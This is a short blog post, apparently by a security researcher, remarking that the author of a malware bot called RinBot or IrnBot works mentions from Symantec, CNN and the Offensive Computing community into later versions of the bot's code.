IrnBot enjoys the attention from Offensive Computing.

OffensiveComputing is a community of anti-malware experts from all parts of the world.

They posted a blog entry about a the recent RinBot, aka Irnbot, aka VanBot.

When looking at the disassembly, the author appears to want his bot called 'IrnBot'......

The author seems to enjoy the attention his bot is attracting. 'Im-a-drone'...err, Irnbot has made references to Symantec, CNN, and now our friends over at Offensive Computing. Each time he's mentioned he uses the new found fame on the next bot code update. Last time I saw something this entertaining is back when Witlog was running.
